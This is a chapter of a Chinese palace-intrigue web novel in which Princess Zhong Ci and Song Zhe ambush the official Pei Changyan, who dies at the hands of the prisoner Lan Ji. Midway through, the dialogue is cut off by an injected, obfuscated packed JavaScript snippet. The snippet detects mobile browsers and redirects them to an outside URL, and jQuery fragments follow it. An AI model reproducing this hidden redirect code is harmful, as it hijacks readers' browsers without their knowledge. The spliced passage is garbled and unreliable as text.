“大人,小心脚下。”
“啧,快去找,找到了早点撤退。”
熟悉的声音响起,人影也越来越近。
“大人,有人。”
裴昌延被人护在身后,但他眯着那双丹凤眼,仔细辨认着不远处躺在木板上面的人。
“兰姬?”
他不确定地叫了一声,推开面前的随从,慢步走了过去,“你……?”
兰姬眯着眼,看着面前的男人,眸底带着疑惑,试探性问了句:“裴大人,是来救我的吗?”
“此事等会儿再说。”裴昌延用余光扫了一眼这里,随后才正眼打量着面前遭受酷刑的兰姬,眼中没有一丝感情,“四公主和西平侯有没有将一张地图放在这里?”
他完全没有理会兰姬的问题,只还作寻常一般问道,也没有任何想要搭救的想法。
但这一番话却是让兰姬直接证实了方才的所有猜想。
墨黑的眸子升起一股怒火,让原本惨白的脸色都添了几分生气。
“裴昌延,你不打算救我吗?”
质问的话一出,裴昌延的眉头也皱了起来,有些厌烦的看着她:“兰姬,我如今出来都是冒了极大的风险,你还在纠结这个?”
但说完他就有些后悔,似乎是觉得目前不适合翻脸,双眸不耐烦轻阖,深呼了一口气才再次睁开:“兰姬,我们一定会救你出去的,毕竟我们所筹谋的事情,你可是头功不是吗?但是我们秘密可都在那张地图上,一定不能被四公主他们发现!你先告诉我,那地图在哪里?我们回去筹谋一番,下次一定来救你。”
“你担心地图会泄露那个地方,却不担心我会说出去?”兰姬冷哼,讥讽地看着面前装模作样的男人,只觉得恶心。
当初是怎么想到与这种人为伍的?
眼见裴昌延脸色变换了几瞬,方才伪装的关切渐渐褪去,只余下一脸的阴狠。
他轻声说道:“你不会说出去的,你已经在我们的船上了,说出去对你和你的族人没有好处,你只有相信我。”
看着他如今的样子,兰姬心下一紧。
与对方相处这么多年,是个狗也摸清楚习性了,他如今的样子显然是起了杀意。
他在担心现在的她会鱼死网破!
情急之下,她的目光不由得看向了钟辞他们藏身之地,寻求帮助。
可裴昌延的速度极快,瞬间拔出左手的剑就砍向兰姬的脖颈——
说时迟那时快,三支泛着冷光的弩箭从暗中射出,空了两支,只有一支直接刺穿了他的小臂,迫使他松开了手中的剑。
一旁的随从快速反应过来,护在裴昌延的身前,警惕地看着那暗处,厉声呵斥:“是谁?出来!”
可回应他的却是屋顶甲胄兵器碰撞的声音,以及有序的脚步声。
被包围了!
引蛇出洞后,要瓮中捉鳖了。
裴昌延显然也是意识到这点,不由得冷笑,咬牙将手中的弩箭拔出,带着些许疯魔地看向那暗处飘在视线下的一块衣角。
“四公主,出来吧,是我输了。”
随着他话落,钟辞和宋折一同走了出来,暴露在地下昏暗的灯光之下。
“呵呵……还有西平侯啊。”
裴昌延微微叹了口气,目光依旧轻蔑。
少了往日金银堆叠出来的慵懒,如今整个人看上去都沧桑了不少,但是眼底的阴狠却是比往日更甚。
“殿下,你这箭的准度该练练了。”宋折目光轻轻扫过面前人被射穿的小臂,似笑非笑地微微侧头对钟辞说道。
还好有三支,若还是只有一支箭,怕是都难以命中。
钟辞自然也知晓,否则何故将弓弩送去改造。她无语地瞥了望了宋折一眼,懒得理会他。
“殿下!”
通道再次被打开,外面的亮光渗透进来,向兰步履匆忙,在看到钟辞没什么事情才略微松了一口气。
随后走到她身边说:“殿下,陈太守带人已经将这里都围起来了。”
“陈兴安?”随着话音刚落,裴昌延已经下意识冷笑,似乎听到什么好笑的笑话一般,“四殿下竟看得上陈兴安那种懦弱小人,看来真是无人可用了啊。”
“小人?”钟辞不可置否,“裴大人似乎还沉浸在过去的美梦之中,就不怕你最后的下场,连你口中的小人都不如?”
看着对方松了一口气的样子,她嘴角噙着一抹玩味,余光瞥到了宋折不着痕迹弹了一个药丸进兰姬的嘴里。
“四殿下可真会说笑。”
他表兄是当朝太尉,裴家更是一方世家大族,就算他把天捅穿了也有裴家给他兜底。若是钟辞还想安然回到王城,还想远在王城的大王子和王后安稳,就不可能敢杀他。
思及此处,裴昌延眸光闪了闪,“四殿下,我们不妨做个交易?”
“哦?”
“放我离开,我保证之后你在河州的事情绝对不会传入王城。”
“噗。”钟辞没忍住笑了出来,“裴大人忘记了?你每月传回王城的信里,可是都说的我命不久矣。”
“你怎么知道?!”
不待钟辞话落,他脸上原本只有几分气定神闲的神色骤然轰塌,沉声质问。
周身的气场瞬间变得混沌危险,透着暴雨来临前的压抑死寂。
钟辞收了面上的笑意,回以他沉沉的目光:“你以为河州还是原来你可以一言堂的河州吗?”
声音极冷,直直刺进裴昌延的耳膜。
他目光越来越阴狠癫狂,嘴角的弧度越来越大,还时不时发出嗤笑。
“你以为你胜券在握,你以为没能带走我不过就损失了一个兰姬,不仅如此,你甚至还觉得你能翻身重新占有我,才不停地告诉王城的人,我命不久矣。”钟辞嘴角轻扯,轻描淡写地吐出他所有的想法,“不过也多谢你的信,不然来的可能就是你的你表兄,而不是草包王业。”
“你把王业怎么了?”
听到熟悉的名字,裴昌延也冷静了几分,只是眼神还是狠狠盯着她,恨不得将其千刀万剐。
“还有何曹呢?他竟让河州落到你的手上!”
言语中带着浓烈的不甘,不甘多年来控制的河州,一朝成为他人的踏脚石,更是不甘他竟会输,还是输给了一个深宫里出来的不受宠的公主。
“王业,现在做着和你一样事情。至于何曹,他早就背弃杨家了,就不要想着他会来帮你。”
钟辞静静看着他,余光却是瞥向了一旁的兰姬。
吃下药丸后的面色已然好了不少,手臂和脖颈此刻也能小幅度的转动。
是时候收尾了。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753944|190044||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴大人不如猜猜你的结局?”她脚步微微后移,脸上的笑容弧度却是越来越大。
不等对方回答,一个身影一闪,带起一阵阴冷的风,衣角还未落下,鲜红温热的血液瞬间迸溅到四周,刺鼻的血腥味蔓延开来。
裴昌延愣愣地看着面前护着他的随从缓缓倒地,脖子上留下了一道深深刀痕。
对方的血液溅得他满脸,而一个冒着寒光还滴着血的匕首此时就架在他的脖子上。
而拿着匕首的人,就是还一脸虚弱的兰姬,她此刻眼神狠厉,手只要再往前一分,就能直接刺破他的皮肤。
“你……”
他话还没开口,就被兰姬打断。
“裴昌延,我真后悔当初选你。”最后一句话。
话落,刀落。
他似乎难以置信,捂住不停往外冒血的脖颈,右手忍着痛,猛地掐住兰姬的脖子,目眦欲裂:“那就……都死吧……”
兰姬此时也丧失了力气,匕首从手上滑落,虚弱惨白的手拼命掰着对方的手指。
“哧——”
利箭刺破血肉,裴昌延瞪大了双眼,手缓缓坠下,失血过多已经让他足够虚弱,此时两枚弩箭直接穿过他捂住脖子的左手。
他张了张口,鲜血不停地从口里涌出。
“我……要……你们……死……!”
最后一个字说得十分清晰,也用尽了他所有的力气。说完他就直挺挺地,如同断线木偶一般栽倒下去。
而一旁的兰姬虚弱地捂住发紧的脖子,不住地咳嗽。
此时陈兴安也走了下来,看到如今的场景先是震惊一瞬,但很快那份震惊就被他压了下去,平静地跨过裴昌延的尸体,走到钟辞面前拱手汇报。
“参见殿下。城外50余人已尽数剿灭,不知殿下这里可有什么吩咐?”
此话一出,钟辞双眼眯起,不由得同宋折对视一眼。
他是怎么知道的?
“你……”钟辞组织着语言,看着面前低眉顺眼的太守,满腹疑问,但顿了顿还是说道,“把他们处理了。”
“是。”
……
临死前,兰姬告诉了她那个地图所在的位置,以及裴家和杨家当初许给她的承诺。
他们一起豢养私兵,若说对那帝王之座没有半分图谋她是不信的,只是不知是没有契机还是因为登上王位的人好控制,以至于前世没有任何动作。
而可怜的兰姬,原本只是不愿意一辈子守在落月族部落里,才外出闯荡。结果却被裴家和杨家盯上,利用她做了无数恶事,用毒蛊控制了不少死士,残害了不少与他们意见不和的人。
她性子执拗刚烈,就因为最初他们许诺她大计成功之时给她无上荣耀,她便站在他们身边,即便遭受酷刑也不曾想过背叛。
但是她最容不得背叛。
对她而言,与裴昌延玉石俱焚是最好的结果了。
有了具体的方位,加之地图在手,很快就找到了裴家杨家豢养私兵的地方。
只是找到的时候人已经跑完了,好在物资还尚未来得及转移,足够投入到新工程里。
而原本豢养私兵的地方,也被钟辞收入,并让宋折开始建立一个新的情报收集的总地。
一切都有条不紊地进行,直到陈兴安一脸凝重地来到刺史府。